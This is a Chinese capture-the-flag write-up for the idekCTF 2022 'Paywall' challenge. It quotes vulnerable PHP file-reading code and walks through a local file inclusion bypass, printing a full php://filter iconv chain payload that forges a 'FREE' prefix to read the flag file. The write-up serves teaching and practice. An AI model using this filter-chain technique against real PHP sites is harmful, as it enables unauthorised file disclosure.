当前位置: 首页 > news >正文

[idekCTF 2022]Paywall - LFI+伪协议+filter_chain

[idekCTF 2022]Paywall

  • 一、解题流程
    • (一)、分析
    • (二)、解题
  • 二、思考总结

1

一、解题流程

(一)、分析

  1. 点击source可以看到源码,其中关键部分:
    if (isset($_GET['p'])) {$article_content = file_get_contents($_GET['p'], 1);if (strpos($article_content, 'PREMIUM') === 0) {die('Thank you for your interest in The idek Times, but this article is only for premium users!');}else if (strpos($article_content, 'FREE') === 0) {	//strpos查找目标字符串所在位置,=0就说明要在开头就出现echo "<article>$article_content</article>";die();}else {die('nothing here');}
    } 
    
    1、file_get_contents会读取文件内容,这道题目,实际上要读的文件名是flag
    2、利用p传参,并且内容必须以FREE开头,strpos函数作用是获取目标字符串位置,如果FREE在开头,则pos是0。
    3、又因为要以FREE开头,所以普通伪协议没法写,比如php://filter/read=convert.base64-encode/resource=FREE/flag?
      为了将FREE隐藏于无形中还要让他生效,我们应该采用filter_chain的方式去绕过

(二)、解题

  1. 打开php_filter_chain_generator.py
    输入py php_filter_chain_generator.py --chain “FREE”
    php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
    
  2. 这里需要注意,我们得到的filter_chain,其结尾是**/resource=php://temp**
    这意味着什么?1、目前文件很可能因为伪协议变成流进行传输,导致内容失效或无法输出
           2、目标文件不是temp,是flag
  3. 我们将结尾改为**/resource=flag**以后再次传输,虽然输出了内容,但是乱码
    这意味着什么?且看filter_chain中,采用的字符集编码包括了convert.iconv.UTF8.UTF7
    1、FREE -> base64编码 -> RlJFRQ== -> UTF8.UTF7 -> RlJFRQ
      少了等号,而编码的内容都是必须完整的,一旦少了,所有内容都会受影响,导致乱码
    2、FREE-- -> base64编码 -> RlJFRS0t -> UTF8.UTF7 -> RlJFRS0t
       所以我们填充一点字符进去
  4. 输入py php_filter_chain_generator.py --chain “FREE–”
    将payload输入,得到flag=idek{REDACTED}

二、思考总结

这道题目加强了对filter_chain工具使用的熟练度,加深了对于编码完整性的理解,以及哪种场景该用filter_chain去完成。

http://www.lryc.cn/news/187553.html

相关文章:

  • Python 自动化Web测试
  • MM-Camera架构-Preview 流程分析
  • 科普文章|一文了解平行链及其优势
  • Tomcat 9.0.41在IDEA中乱码问题(IntelliJ IDEA 2022.1.3版本)
  • 在Kubernetes中实现gRPC流量负载均衡
  • Floorplanning with Graph Attention
  • centos7 配置coreboot编译环境 以及编译问题解决
  • 大型语言模型:RoBERTa — 一种鲁棒优化的 BERT 方法
  • 解析navicate数据库密码
  • mysql字段类型与oracle字段类型对应关系
  • linux 中 tar \ zip 解压错误后撤回
  • 对象图 UML从入门到放弃之四
  • FPGA实现HDMI输入转SDI视频输出,提供4套工程源码和技术支持
  • 针对FTP的SSRF攻击
  • 线性代数中涉及到的matlab命令-第一章:行列式
  • QT编程,QT内存管理、信号与槽、
  • springcloud之项目实战环境准备
  • Linux 部署 MinIO 分布式对象存储 配置为 typora 图床
  • JVM Optimization Learning(四)
  • 新华三辅导笔记 2023/10/9-2023/10/13
  • 边坡安全监测系统的功能优势
  • 【架构】研发高可用架构和系统设计经验
  • Linux线程安全
  • Windows安装Node.js
  • 想要开发一款游戏, 需要注意什么?
  • 横向AlGaN/GaN基SBD结构及物理模型数据库的开发
  • 使用安卓Termux+Hexo,手机也能轻松搭建个人博客网站
  • Spring在业务中常见的使用方式
  • PyTorch 深度学习实战
  • 学生用RockyLinux9.2模板虚拟机说明